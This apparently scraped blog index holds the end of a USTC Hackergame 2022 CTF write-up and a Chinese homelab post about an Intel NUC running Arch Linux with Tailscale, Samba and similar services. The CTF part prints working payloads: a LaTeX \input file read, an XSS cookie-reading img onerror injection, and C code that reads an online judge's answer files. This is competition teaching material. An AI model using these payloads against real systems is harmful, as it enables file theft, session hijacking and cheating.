resp=requests.post(url,headers=header,cookies=cookie,data=\u0026#34;\u0026lt;state\u0026gt;\u0026lt;guess\u0026gt;{}\u0026lt;/guess\u0026gt;\u0026lt;/state\u0026gt;\u0026#34;.format(sendNum)) print(\u0026#34; 尝试 {},max={},min={}\u0026#34;.format(sendNum,max,min),end=\u0026#34;\u0026#34;) resp=requests.get(url,headers=header,cookies=cookie) print(resp) if resp.text.find(\u0026#34;\u0026lt;talented\u0026gt;1\u0026lt;/talented\u0026gt;\u0026#34;)!=-1: print(\u0026#34; 已经达成一次猜出数字，正在退出\u0026#34;) elif resp.text.find(\u0026#34;less=\\\u0026#34;false\\\u0026#34;more=\\\u0026#34;false\\\u0026#34;\u0026#34;)!=-1: # 猜对了 nums.append(sendNum) print(\u0026#34; 猜对了，数字为：{}\\n====================================\u0026#34;.format(sendNum)) break elif resp.text.find(\u0026#34;less=\\\u0026#34;true\\\u0026#34;more=\\\u0026#34;false\\\u0026#34;\u0026#34;)!=-1: # 猜小了 min=sendNum print(\u0026#34; 猜小了，数字为：{}\u0026#34;.format(sendNum)) elif resp.text.find(\u0026#34;less=\\\u0026#34;false\\\u0026#34;more=\\\u0026#34;true\\\u0026#34;\u0026#34;)!=-1: # 猜大了 max=sendNum print(\u0026#34; 猜大了，数字为：{}\u0026#34;.format(sendNum)) elif resp.text.find(\u0026#34;less=\\\u0026#34;true\\\u0026#34;more=\\\u0026#34;true\\\u0026#34;\u0026#34;)!=-1: print(\u0026#34; 猜错了，数字为：{}\u0026#34;.format(sendNum)) else: nums.append(sendNum) print(\u0026#34; 未知错误，应该是猜对了：\u0026#34;\u0026#43;resp.text\u0026#43;\u0026#34;\\n====================================\u0026#34;) break print(\u0026#34; 当前已经猜对的数字有：{}\u0026#34;.format(nums)) print(nums) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requests nums=[] cookie={} header={ \u0026#34;Authorization\u0026#34;:\u0026#34;Bearer your-token\u0026#34;, } url=\u0026#34;http://202.38.93.111:18000/state\u0026#34; for i in range(0,100): min=0.0 max=1.0 resp=requests.get(url,headers=header,cookies=cookie) while(1): max=round(float(max),6) min=round(float(min),6) sendNum=round((max+min)/2.0,6) resp=requests.post(url,headers=header,cookies=cookie,data=\u0026#34;\u0026lt;state\u0026gt;\u0026lt;guess\u0026gt;{}\u0026lt;/guess\u0026gt;\u0026lt;/state\u0026gt;\u0026#34;.format(sendNum)) print(\u0026#34; 尝试 {},max={},min={}\u0026#34;.format(sendNum,max,min),end=\u0026#34;\u0026#34;) resp=requests.get(url,headers=header,cookies=cookie) print(resp) if resp.text.find(\u0026#34;\u0026lt;talented\u0026gt;1\u0026lt;/talented\u0026gt;\u0026#34;)!=-1: print(\u0026#34; 已经达成一次猜出数字，正在退出\u0026#34;) elif resp.text.find(\u0026#34;less=\\\u0026#34;false\\\u0026#34;more=\\\u0026#34;false\\\u0026#34;\u0026#34;)!=-1: # 猜对了 nums.append(sendNum) print(\u0026#34; 猜对了，数字为：{}\\n====================================\u0026#34;.format(sendNum)) break elif resp.text.find(\u0026#34;less=\\\u0026#34;true\\\u0026#34;more=\\\u0026#34;false\\\u0026#34;\u0026#34;)!=-1: # 猜小了 min=sendNum print(\u0026#34; 猜小了，数字为：{}\u0026#34;.format(sendNum)) elif resp.text.find(\u0026#34;less=\\\u0026#34;false\\\u0026#34;more=\\\u0026#34;true\\\u0026#34;\u0026#34;)!=-1: # 猜大了 max=sendNum print(\u0026#34; 猜大了，数字为：{}\u0026#34;.format(sendNum)) elif resp.text.find(\u0026#34;less=\\\u0026#34;true\\\u0026#34;more=\\\u0026#34;true\\\u0026#34;\u0026#34;)!=-1: print(\u0026#34; 猜错了，数字为：{}\u0026#34;.format(sendNum)) else: nums.append(sendNum) print(\u0026#34; 未知错误，应该是猜对了：\u0026#34;+resp.text+\u0026#34;\\n====================================\u0026#34;) break print(\u0026#34; 当前已经猜对的数字有：{}\u0026#34;.format(nums)) print(nums) 但并没有找到什么规律。\nLaTeX机器人 纯文本 一看到能够自由输入内容，就想到了某种注入。但阅读Dockerfile，进行本地转换部分的命令似乎没有什么可以自由发挥的空间，就放弃了在Shell中注入的计划。\n转念一想，LaTeX语法是可以包含其他文本文件的，语法为 \\input{filepath}。于是输入 \\input{/flag2}，弹出的信息就是Flag…… 吗？\n不完全是。LaTeX自带转义，只需要在合适的地方加上花括号就行了，具体位置可以仿照之前的Flag。\n特殊字符混入 此题仍然可以使用 \\input 解决，但是要小心两种控制字符的转义。LaTeX的控制字符可以使用 \\catcode 指令禁用（参考），不过此处只需要禁用 # 和 _，剩下两个不必要。构建的字符串如下。\ntext 复制代码 \\catcode `\\#=12\\catcode `\\_=12\\input{/flag2} 1 \\catcode `\\#=12\\catcode `\\_=12\\input{/flag2} 那这题的难度在哪里呢？我想，应该是对LaTeX各种术语的熟悉吧，比如不知道 “控制字符”(control character) 就没法搜出对应的方法。\n安全的在线测评 在看到题之后，就隐隐约约感觉到，当年打NOIP敢想却没条件做的事情——直接读答案输出，说不定就是这道题的正解。又想到成熟的OJ，例如 青岛大学的 OJ，对这种情况都有相应的防范措施，而这个判题脚本又显得过于简单，应该八九不离十。\n评测机的工作目录树大概是这个样子：\ntext 复制代码 . ├── data │ ├── dynamic\\*.in │ ├── dynamic\\*.out │ ├── problem.txt │ ├── static.in │ └── static.out ├── online\\_judge.py ├── README.md └── temp ├── code.c └── temp\\_bin 1 2 3 4 5 6 7 8 9 10 11 12 . ├── data │ ├── dynamic\\*.in │ ├── dynamic\\*.out │ ├── problem.txt │ ├── static.in │ └── static.out ├── online\\_judge.py ├── README.md └── temp ├── code.c └── temp\\_bin 无法AC的题目 这里我们的目标是读取 ./data/static.out 的内容，然后输出。注意程序运行的目录并不是在 temp 里。很容易得到以下的代码：\nc 复制代码 #include\u0026lt;stdio.h\u0026gt; int main(int argc, char *argv[]) { FILE *fp; char buf[100]; fp = fopen(\u0026#34;./data/static.out\u0026#34;, \u0026#34;r\u0026#34;); while (fgets(buf, 100, fp) != NULL) printf(\u0026#34;%s\u0026#34;, buf); fclose(fp); return 0; } 1 2 3 4 5 6 7 8 9 10 11 12 #include\u0026lt;stdio.h\u0026gt; int main(int argc, char *argv[]) { FILE *fp; char buf[100]; fp = fopen(\u0026#34;./data/static.out\u0026#34;, \u0026#34;r\u0026#34;); while (fgets(buf, 100, fp) != NULL) printf(\u0026#34;%s\u0026#34;, buf); fclose(fp); return 0; } 当然这样只能读到静态数据的输出，后面的显然会WA。\n如果使用判题脚本测试时，正解也RE，可以将44行改为 [path,]，这是机器上没有runner账户造成的。\n动态数据 一开始以为思路其实是差不多的，都是读答案。但为了判断用哪个答案对应的输出，还需要同时读取输入文件进行比对。但是生成的动态数据权限均为700，这意味着评测机上 runner 账户运行的程序无法直接读取答案。\n所以有了一份本地能过，云端却过不了的代码，仅供取笑：\nc 复制代码 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { FILE *fp; // read input from stdin to char static_in[] char buf[1000]; memset(buf, 0, 1000 * sizeof(char)); fgets(buf, 1000, stdin); // remove \\n if (buf[strlen(buf) - 1] == \u0026#39;\\n\u0026#39;) { buf[strlen(buf) - 1] = \u0026#39;\\0\u0026#39;; } // read from ./data/static.in char static_in[1000]; memset(static_in, 0, 1000 * sizeof(char)); fp = fopen(\u0026#34;./data/static.in\u0026#34;, \u0026#34;r\u0026#34;); fgets(static_in, 1000, fp); if(static_in[strlen(static_in) - 1] == \u0026#39;\\n\u0026#39;) { static_in[strlen(static_in) - 1] = \u0026#39;\\0\u0026#39;; } fclose(fp); // compare input with static.in if (strcmp(buf, static_in) == 0) { // static data // read from ./data/static.out (multi line) and print fp = fopen(\u0026#34;./data/static.out\u0026#34;, \u0026#34;r\u0026#34;); while (fgets(buf, 1000, fp) != NULL) { printf(\u0026#34;%s\u0026#34;, buf); } fclose(fp); return 0; } char path[1000]; memset(path, 0, 1000 * sizeof(char)); for (int i = 0; i \u0026lt; 5; i\u0026#43;\u0026#43;) { sprintf(path,\u0026#34;./data/dynamic%d.in\u0026#34;, i); fp = fopen(path,\u0026#34;r\u0026#34;); // read from fp and compare with buf memset(static_in, 0, 1000 * sizeof(char)); fgets(static_in, 1000, fp); if(static_in[strlen(static_in) - 1] == \u0026#39;\\n\u0026#39;) { static_in[strlen(static_in) - 1] = \u0026#39;\\0\u0026#39;; } fclose(fp); if (strcmp(buf, static_in) == 0) { // dynamic data // read from ./data/dynamic.out (multi line) and print sprintf(path,\u0026#34;./data/dynamic%d.out\u0026#34;, i); fp = fopen(path,\u0026#34;r\u0026#34;); while (fgets(buf, 1000, fp) != NULL) { printf(\u0026#34;%s\u0026#34;, buf); } fclose(fp); return 0; } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { FILE *fp; // read input from stdin to char static_in[] char buf[1000]; memset(buf, 0, 1000 * sizeof(char)); fgets(buf, 1000, stdin); // remove \\n if (buf[strlen(buf) - 1] == \u0026#39;\\n\u0026#39;) { buf[strlen(buf) - 1] = \u0026#39;\\0\u0026#39;; } // read from ./data/static.in char static_in[1000]; memset(static_in, 0, 1000 * sizeof(char)); fp = fopen(\u0026#34;./data/static.in\u0026#34;, \u0026#34;r\u0026#34;); fgets(static_in, 1000, fp); if(static_in[strlen(static_in) - 1] == \u0026#39;\\n\u0026#39;) { static_in[strlen(static_in) - 1] = \u0026#39;\\0\u0026#39;; } fclose(fp); // compare input with static.in if (strcmp(buf, static_in) == 0) { // static data // read from ./data/static.out (multi line) and print fp = fopen(\u0026#34;./data/static.out\u0026#34;, \u0026#34;r\u0026#34;); while (fgets(buf, 1000, fp) != NULL) { printf(\u0026#34;%s\u0026#34;, buf); } fclose(fp); return 0; } char path[1000]; memset(path, 0, 1000 * sizeof(char)); for (int i = 0; i \u0026lt; 5; i++) { sprintf(path,\u0026#34;./data/dynamic%d.in\u0026#34;, i); fp = fopen(path,\u0026#34;r\u0026#34;); // read from fp and compare with buf memset(static_in, 0, 1000 * sizeof(char)); fgets(static_in, 1000, fp); if(static_in[strlen(static_in) - 1] == \u0026#39;\\n\u0026#39;) { static_in[strlen(static_in) - 1] = \u0026#39;\\0\u0026#39;; } fclose(fp); if (strcmp(buf, static_in) == 0) { // dynamic data // read from ./data/dynamic.out (multi line) and print sprintf(path,\u0026#34;./data/dynamic%d.out\u0026#34;, i); fp = fopen(path,\u0026#34;r\u0026#34;); while (fgets(buf, 1000, fp) != NULL) { printf(\u0026#34;%s\u0026#34;, buf); } fclose(fp); return 0; } } } 线路板 真没想到工训过了这么长时间，还能用得上这玩意。首先需要 下载一个 KiCad。\n打开KiCad的Gerber文件查看器，打开从网站上下载的zip文件，就可以看到Gerber文件的预览了。\n一开始当然不是上面那个样子的，可以在右侧边栏的第6层（Copper L1）上右键，选择隐藏其他层。\n但是Gerber又不能通过编辑把过孔去掉，此时可以使用 “文件 - 导出到PCB编辑器”，然后再用KiCad PCB编辑器打开。运气好，打开顶部铜层就看到了flag。\n微积分计算小练习 经典的微积分题和微积分没关系。为了这道题我把XSS学了一遍。\n首先从下载的代码入手，可以看到bot.py的56行处，将flag放进了Selenium的Cookie。所以我们所要做的，就是在提交服务器运行代码将Cookie盗取出来。我们传入服务器的数据只有一个网址，且只能是做题网站的网址，所以需要用XSS脚本注入做题网站。\n再观察提交bot代码可以看到，它在将Cookie设置之后，会打开我们提交的结果网址，然后找到用户名和分数两个字段，并显示在终端上。很令人惊喜啊，完全没有清洗过输入的数据。由于Selenium会将整个网页加载完成再执行下面的内容，而用户名部分会将我们插入的用户名作为HTML直接插入，我们有了在用户名部分执行外部JavaScript的能力。\nXSS注入有存储、反射和DOM型这几种。反射型就是在URL的query string后面附上攻击脚本，这个我试了，会报错。反射型插入 \u0026lt;script\u0026gt;，但是对于此处使用 innerHTML 的情况，JavaScript并不会被执行。所以这里使用DOM型XSS（其实或许没必要分这么清楚）。\n一般来说有两种途径，使用 \u0026lt;img onerror=\u0026quot;script\u0026quot;\u0026gt; 或者 \u0026lt;iframe\u0026gt;。前者的基本原理是设置一个完全不存在的src，访问失败就会执行后面的JavaScript。一开始我的思路是将Cookie作为query string发一个GET请求，然后自己开一个服务器去记录。但这个东西似乎对外网有限制，连不上。突然想到用户名文本仍然会显示出来，那么直接替换文字，让用户名的区域直接显示Cookie不就行了？\n构造注入代码如下：\nhtml 复制代码 \u0026lt;/p\u0026gt;\u0026lt;img src=\u0026#34;x\u0026#34;onerror=\u0026#34;document.getElementById(\u0026#39;cookie\u0026#39;).innerText=document.cookie;\u0026#34;\u0026gt;\u0026lt;p id=\u0026#34;cookie\u0026#34;\u0026gt; 1 \u0026lt;/p\u0026gt;\u0026lt;img src=\u0026#34;x\u0026#34;onerror=\u0026#34;document.getElementById(\u0026#39;cookie\u0026#39;).innerText=document.cookie;\u0026#34;\u0026gt;\u0026lt;p id=\u0026#34;cookie\u0026#34;\u0026gt; 直接将上面的代码输入名字输入框，提交页面就可以看到一个坏掉的图片图标，以及Cookie。正好就是flag。\n很幸运的是设置Cookie的时候没有做HTTP-Only，不然JavaScript操作起来就有难度了。\n企鹅拼盘 我真的没想到过我能在math部分拿到分…… 虽然方法跟数学基本没什么关系就是了。\n进入TUI界面后，点击input可以输入，再点击其他地方可以发送命令。\n第一个Level只允许输入四个bit，暴力枚举拿分。后面的不会了。\n","date":"October 29, 2022","matchCount":0,"permalink":"/post/hackergame-2022/","preview":"","title":"USTC Hackergame 2022 一游 \u0026 部分题目 Writeup"},{"content":"看别人的Homelab馋啊，空有需求但没有好的硬件，就买了个Intel NUC11ATKC4，四核赛扬N5105 CPU，代号Atlas Canyon（阿特拉斯峡谷）。有人可能会问，就这么个破赛扬能干啥啊？其实只要摆脱坑比Windows，能干的事情多着呢。\n不过我承认，标题确实是我临时起的，之后性能余量是否够用，那就是以后的事情了。\n开箱与拆机 NUC嘛大家都懂，买回来就是个准系统，没有硬盘没有内存，更别提操作系统了。硬盘买的是血统纯正的国产货，致态（钛）TiPlus 5000 512G，内存则是笔记本换下来的海力士8G*2。这里吹一波东哥的售后啊，硬盘买回来外包装破了，直接进行了一个上门换新，不到24小时搞定。\n盒子是一个简洁的纸壳盒子，结合包着每一个部件的塑料袋来看，很难说它是环保还是不环保。包装盒中含有主机、不用看系列（还真得看）、分体式的电源，以及一个灵魂Celeron Inside logo。\n电源来自航嘉，约65W功率，三脚插头，考虑到主要部件的功率，余量留得很足。可惜没有做成PD充电。\n拆装的话需要拧开底下的四个角的螺丝，这之后就可以直接揭开后盖。\n前面板接口有两个USB 3.0 5Gbps，一个8针的工控用途IO，耳机和麦克风各一个；后面板有惊人的两个USB 3.1 10Gbps、两个USB 2.0、一个千兆网口、一个RJ45、一个HDMI、一个DP，以及一个供电用的DC圆口。这个接口量是超出我预期的，但美中不足的是没有USB-C。只有一个网口，注定了它不能当作通常的软路由。反正我不是拿来当路由器的，不管它。\n卸下底部盖板后就可以看到内部，排列还是比较紧凑的。如图是装好硬盘和内存的样子。网卡型号为Intel 9462NGW，仅支持802.11ac，CNViO协议，被盖在硬盘下面，网卡叠叠乐。\n底盖是金属材质，SSD位置有导热贴。其他地方的导热贴贴得似乎比较散乱。两边具有散热孔，方便空气流通；而散热模组在机身上部，清灰需要将主板拆下来。\n如果因清灰等原因需要拆散热模组，需要先拆下固态硬盘，断开硬盘下方网卡上的两根天线，注意（按照网卡贴纸文字方向）左侧为黑线，右侧为白线。如果前侧工控I/O的橡胶垫没拔下来，需要先拔下来。因为机身后侧并未使用金属加强，所以可以将撬棒伸入后部RJ45接口上方与塑料外壳的缝隙处，轻轻撬开，即可卸下主板。装回时也需先将前侧接口插入机身。\n散热模组和外壳内部 现在就可以看到散热模组和外壳内部的样子了。散热模组包含一个风扇和一条热管，风扇不小，酷冷至尊提供，规模不弱于许多游戏本；孤零零的单热管，看起来也就6mm，看起来散热能力就不太行，或许配这么大的风扇只是为了静音。\n然后断开风扇排线（注意线序，这台蓝色线在左侧），拧松风扇周围三颗防丢螺丝，即可拆下风扇。本人并没有继续拆热管，懒得换硅脂了。\n主板 CPU 面 可以看到这颗N5105盖着散热模组的样子了。连个铜柱都没有，热管也没有做压扁的处理，很符合这CPU低功耗的形象。小小的也很可爱。\n操作系统与BIOS 使用 archinstall 脚本，安装了Arch Linux。其实在它的加持下，Arch的安装没有那么难了，也不再需要一点一点的配置，顶多就是TUI界面看起来不太友好。\n为什么不是Windows？我可不想让这赛扬整天满载； 为什么不是TrueNAS？我不会用FreeBSD； 为什么不是Unraid？要钱，也对Slackware不熟悉； 为什么没有虚拟化（ESXi之类的）？据传N5105跑虚拟化有点问题； 为什么是Arch Linux？更新快，Wiki完善，较为轻量，AUR。 装了个GNOME桌面环境，不光是因为有领先的Wayland支持，而且还有一个原因我们后面会提到。虽然I家驱动做得烂，但也不再有NVIDIA独显那样烂泥扶不上墙的问题。\nBIOS的设置非常丰富，能够自由调整CPU温度墙、PL1/PL2功耗、风扇转速各方面阈值，也可以自由开关各种接口，可玩性很强。\n性能 也不要有什么过高的期望了，N5105只有四个低功耗Jasper Lake核心，总TDP才15W，满载还没一颗骁龙8 Gen 1功耗高。但过热应该非常难出现，毕竟就这点功耗还有主动散热加持。事实证明我的猜想是对的，BIOS风扇设置为cool档之后，烤机CPU温度维持在65度，也比骁龙8凉（狗头）。\nGeekbench 5 CPU跑分为单核699、多核2286（详见 测试记录）；Geekbench 6单核557，多核1646（记录）；Vulkan Compute跑分为2313（详见 测试记录）。\n使用Firefox观看4K YouTube视频，接2K显示器，略有卡顿。2K分辨率的CS能够流畅运行。平常浏览网页等用途则完全未感受到卡顿。\n可能由于本身机能限制或文件系统限制，其实是无法完全发挥这块硬盘性能的，标称读3500写2700，在Btrfs文件系统下，实际上只能做到读写1700左右。\n在KDiskMark中，跑出了一个更慢的成绩。\n内存只能跑在2933MHz，应该对核显性能有一定程度的影响，不过核显本来就很菜，无所谓了。\n互联 网络 要从外网访问内网中的主机，内网穿透是一个很经典的方案，但这需要一台带宽够高、延迟够低、流量足够多的服务器，这在国内成本比较高，将内网服务暴露到外网也让所有人可以访问，有些危险。虚拟局域网方案顾名思义，将在不同内网下的电脑划在同一个 “局域网” 里。在这其中，Tailscale算是体验最好的之一了。NAT打洞成功率较高，这意味着大部分时候可以以直连的延迟与带宽在不同设备之间连接。\ntailscale/tailscale\nTailscale的配置非常简单，按照指引配置即可，用起来就知道有多爽了。目前用起来缺点很少，就是不能为同一个机器分配多个域名并签发多个HTTPS证书，极限网速也比不了直连（并不是因为性能开销过大，表现见下）。某种程度上，就是这种异地组网程序让下面的许多用途从” 可能” 变为 “好用”。\n其他的方案还有n2n、Netmaker和ZeroTier等，在此不做介绍。\n桌面 这样一来桌子上就有两台电脑、两台手机、一台平板了，但外接屏幕只有一块，键鼠也只有一套，笔记本和NUC打架是自然而然的事情。\n关于这种情况，开源社区已经有多种解决方案，主要分为键鼠漫游和远程桌面两种。\n键鼠漫游当然是理想中体验最好的解决方案。NUC接外部显示器，跑Linux程序；笔记本用内置屏幕，跑Windows程序。一套键鼠插在某一台设备上，用一个鼠标控制两台设备的桌面。成熟的方案有很多，但统统被我毙掉了，分别由于以下几个理由：\nMouse Without Borders，仅支持Windows； Synergy/Barrier，不支持Wayland； Waynergy（Synergy的Wayland fork），不支持GNOME自带compositor； rkvm，不支持Windows。 幸好GNOME 42为我留了另一条路，远程桌面。我得以在NUC上开一个远程桌面服务端，然后在Windows下连接。说起来体验还可以，起码日常使用还是够了的。窗口可以全屏，让Linux的桌面铺满整个显示器，局域网内视觉体验非常接近直连；我也可以将远程桌面窗口最小化，从而Windows应用（如游戏）也可以使用大尺寸显示器。\n更新：后续GNOME版本中，远程桌面连接必须在连接显示器的情况下才能工作，且远程分辨率与连接的显示器相同；而在GNOME 46中新增了“远程会话”，\n我也试过使用Remmina连接Windows的远程桌面，但结果就是卡顿极其严重，清晰度也很差。当然也可以使用RustDesk或Parsec等其他远程桌面协议，倒也挺好用。\n这里推荐一个GNOME插件：Allow Locked Remote Desktop，让锁屏时也可以连接远程桌面，就像Windows那样。\n而一旦出现了不方便接显示器的情况，可以使用如下的命令启动一个headless session（来自 Reddit）：\nbash 复制代码 echo -n \u0026#34;user_password\u0026#34; | /usr/bin/gnome-keyring-daemon --unlock systemctl --user restart gnome-remote-desktop.service gnome-shell --wayland --headless --virtual-monitor 1280x720 --no-x11 1 2 3 echo -n \u0026#34;user_password\u0026#34; | /usr/bin/gnome-keyring-daemon --unlock systemctl --user restart gnome-remote-desktop.service gnome-shell --wayland --headless --virtual-monitor 1280x720 --no-x11 不过问题在于此时GNOME远程桌面连不上。据传，可以使用以下的命令将远程桌面模式设为” 扩展 “，这样它会为你创建一个虚拟显示器（来自 Reddit 和 GNOME GitLab）：\nbash 复制代码 gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode extend 1 gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode extend 当不需要用桌面的时候，就用SSH。尤其是出门后，网络条件难以支持远程桌面，SSH就显得比较好用了。SSH比较好配置，此处省略。\n文件互传 KDE Connect完全可以称为最好的跨平台互联工具，通吃所有常见桌面端与移动端环境。GNOME桌面环境上，可以使用 GSConnect 插件。\n文件共享 要将文件暴露到网络上，协议还是很多的。对于公网，一个Web UI+WebDAV会很方便；而在内网中，可以选择SMB。这里与前面KDE Connect的区别，则在于前者是 “拉”，而后者是 “推”。\nCaddy带一个文件服务器Web UI+WebDAV的功能，但死活没配好，就让它等着做反代吧。作为替代的，我使用了AList。AUR有alist包，可以直接配好systemd服务和配置文件。但在新的AUR package中，alist会作为单独的用户运行，对于共享家目录等需要大规模更改权限的场景则不是非常方便。\nalist-org/alist\n我是Cloudreve的老用户了，它是非常优秀的网盘程序，而它会重新组织上传的文件；相反，AList能够忠实地将系统文件目录结构呈现出来，既方便远程访问，又方便本地访问。这就是它叫做 “目录程序” 的原因。它也自带一个WebDAV服务端，很方便。\n通过AList+Tailscale下载大文件，约能跑到160Mbps左右；通过内网直连下载，则能够达到720Mbps（路由器硬件所限，非WiFi 6），不管怎样看4K HDR是没有什么压力的，也能喂饱我的百兆小水管外网。\n这玩意速度还是有点玄学的，那相较于带加密的WebDAV，不如直接上SMB，负担小，对Windows的支持也更好。Linux上SMB支持主要由Samba软件包提供。\nSMB的配置方法由ChatGPT生成。\n安装就不用说了。先创建一个SMB账户，这里图省事，个人会直接用Linux账户。跟 passwd 差不多用法。\nbash 复制代码 sudo smbpasswd -a \u0026lt;account_name\u0026gt; 1 sudo smbpasswd -a \u0026lt;account_name\u0026gt; 然后编辑配置文件，路径位于 /etc/samba/smb.conf。你可以选择去 下载官方模板，但实际上只需要以下的部分：\nini 复制代码 [global] workgroup = WORKGROUP security = user [homes] comment = Home Directories browseable = no read only = no create mask = 0700 directory mask = 0700 valid users = %S 1 2 3 4 5 6 7 8 9 10 11 [global] workgroup = WORKGROUP security = user [homes] comment = Home Directories browseable = no read only = no create mask = 0700 directory mask = 0700 valid users = %S 如果你使用了模板，没连打印机的话，记得把打印机注释掉。\n然后把服务启动一下。\nbash 复制代码 sudo systemctl enable --now smb.service 1 sudo systemctl enable --now smb.service 然后在Windows添加 \\\\\u0026lt;machine-ip\u0026gt;\\homes 就能访问了。\n更新：Windows 11 24H2需要启用SMB签名，并不支持guest账户1。\n那有了这些空间，干点什么呢？比如存个手机备份，这不比某些厂商的USB 2.0体验好多了嘛，不一定比无线快，还得时刻连根线。\nXayahSuSuSu/Android-DataBackup\n笔记 在Notion-like的软件中，思源笔记拥有较好的Markdown支持，用起来较为舒服，也有自行托管选项（浏览器端），唯一的缺点是Firefox支持较差（可惜由于精力原因，开发者 不一定会修）。\nsiyuan-note/siyuan\n使用Podman rootless container + Quadlet，编写container文件如下：\nproperties 复制代码 [Unit] Description=Siyuan Notes container [Container] Image=docker.io/b3log/siyuan ContainerName=siyuan User=1000 Group=1000 PublishPort=6806:6806 Volume=siyuan:/siyuan/workspace Exec=\u0026#34;--workspace=/siyuan/workspace/\u0026#34; \u0026#34;--accessAuthCode=\u0026lt;your-auth-code\u0026gt;\u0026#34; AutoUpdate=registry 1 2 3 4 5 6 7 8 9 10 11 12 [Unit] Description=Siyuan Notes container [Container] Image=docker.io/b3log/siyuan ContainerName=siyuan User=1000 Group=1000 PublishPort=6806:6806 Volume=siyuan:/siyuan/workspace Exec=\u0026#34;--workspace=/siyuan/workspace/\u0026#34; \u0026#34;--accessAuthCode=\u0026lt;your-auth-code\u0026gt;\u0026#34; AutoUpdate=registry 此处使用volume而非本机目录，是因为尝试过多次本机目录，在权限设置应该没什么问题的情况下，容器仍无权限创建文件，使用volume则没有这个问题。确实没之前那么方便，但毕竟都是挂载到本地的，也差不太多。\n服务的快捷访问 本文早些时候使用了互联网上的常用方式——域名来指代服务，并使用Caddy自动进行HTTPS加密和多路复用。将域名指向对应主机，因为指向的IP都是Tailnet中的保留IP，所以实际上也没什么问题。但是由于主机间连接使用的Wireguard本身就带有加密，所以HTTPS完全没有必要。如果读者愿意阅读之前的方法，可以点击下方的折叠菜单将其展开。\n以前的方法：使用 Caddy+自签证书 HTTPS 到此为止，搭建的服务都是用IP地址 + 端口号访问，不太优雅。虽然Tailscale提供了MagicDNS，但也只能为每个设备分配一个域名。既然上有一个自己的域名，就想到配合Caddy访问内部服务。\n就以上面的AList举例，先在DNS中将 alist.internal.cyp0633.icu（仅作示例，你当然用这个访问不到）指向NUC的Tailscale IP，然后Caddyfile可以这么填写：\ntext 复制代码 alist.internal.cyp0633.icu { reverse_proxy :5244 tls internal } 1 2 3 4 alist.internal.cyp0633.icu { reverse_proxy :5244 tls internal } 然后Caddy就可以搞定反向代理，甚至包括自签名的HTTPS证书。第三行是必不可少的，因为. icu是公认的TLD，Caddy会尝试向公网CA申请一个证书，它当然不能接入Tailscale局域网；显式指定 tls internal 之后，Caddy才会自行签名一个证书（见 官方论坛帖子）。这样，便可以访问这个域名来获取服务，无需记住端口号，就像是在平常的服务器上一样。类似的，也可以这样配置多个域名指向同一IP，来让Caddy做分流。\n思源笔记有WebSocket部分，但不需要特别设置。\n针对上面Tailscale的速度问题，如果想在内网下达到更快的传输速度，可以在路由器上将域名解析至内网IP，而非Tailscale IP。这样在内网下就可以直连，无需通过Tailscale。\nTailscale开发了一个小工具叫做 golink，能够将 \u0026lt;go/linkname\u0026gt; 重定向至一个自定义的网址，类似于前些年流行的短网址服务。其配置起来并不麻烦，所以个人建议直接用systemd管理。先用 go install 安装，然后创建一个systemd user unit，需要的话可以参考我的配置文件。\nproperties 复制代码 [Unit] Description=Golink service [Service] Type=simple ExecStart=/home/\u0026lt;username\u0026gt;/go/bin/golink --sqlitedb /home/\u0026lt;username\u0026gt;/.config/tsnet-golink/data.db Environment=\u0026#34;TS_AUTHKEY=tskey-auth-yourkey\u0026#34; Restart=on-failure [Install] WantedBy=default.target 1 2 3 4 5 6 7 8 9 10 11 [Unit] Description=Golink service [Service] Type=simple ExecStart=/home/\u0026lt;username\u0026gt;/go/bin/golink --sqlitedb /home/\u0026lt;username\u0026gt;/.config/tsnet-golink/data.db Environment=\u0026#34;TS_AUTHKEY=tskey-auth-yourkey\u0026#34; Restart=on-failure [Install] WantedBy=default.target 用浏览器访问 http://go/，新建映射即可以和老方法一样简单易懂的名字访问内部服务。比如我将go/siyuan映射到 http://nuc:6806，就可以直接访问思源笔记了。\n* 在制定短链接映射时，个人不建议使用形如上文 nuc 的主机名代替Tailscale IP地址，因为部分工具不能正确将其识别为内网服务，从而禁用某些功能。比如Bitwarden浏览器插件，就会禁用HTTP下的自动填充功能，除非访问的是保留IP。通过跳转到对应IP而非主机名，可以启用其自动填充功能。\n远程下载 有了这个，就可以远程下片了（逃）。算是用了一种经典方案吧，aria2。pacman就有打包。\n配置文件 aria2.conf 可以参考P3TERX的配置文件，但 注意不要照搬，先读完，再使用。\nP3TERX/aria2.conf\n如果要让aria2在后台运行，可以使用systemd服务，在 / etc/systemd/system中编辑aria2cd.service（改编自 Arch Wiki），然后启用即可：\nproperties 复制代码 [Unit] Description=aria2 Daemon [Service] Type=simple ExecStart=/usr/bin/aria2c --conf-path = 你的配置文件路径 [Install] WantedBy=default.target 1 2 3 4 5 6 7 8 9 [Unit] Description=aria2 Daemon [Service] Type=simple ExecStart=/usr/bin/aria2c --conf-path = 你的配置文件路径 [Install] WantedBy=default.target 至于Web界面，我使用了AriaNG，也是经典的解决方案。使用Caddy反代一下就行了。在Caddyfile里限制了HTTP，否则必须一起反代HTTPS的Aria2 JSON-RPC。\nmayswind/AriaNG\n开发 只要提到远程开发，必定少不了神通广大的VS Code。之前写过文章的第三方的code-server仍然可用，而且是一个完全开源的版本（基于code-oss），感兴趣的可以看一下GitHub页面，讲得很详细（我写的太久没更新，不推荐阅读）。\ncoder/code-server\n此处要讲的是另外一种途径，来自微软的VS Code Server，这意味着它可以使用Copilot等必须在微软发行的版本才能使用的插件。这项功能已经进入公测，并包含在所有1.74.0或更新的VS Code版本中。可以使用vscode.dev网页或现成的VS Code客户端连接，即使不在同一局域网下也可。具体的启用方法可以见 这篇 blog post，但长话短说，就是使用 code tunnel 命令。另附内测时期的开启方法如下：\n内测时的VS Code Server启用方法\nVS Code 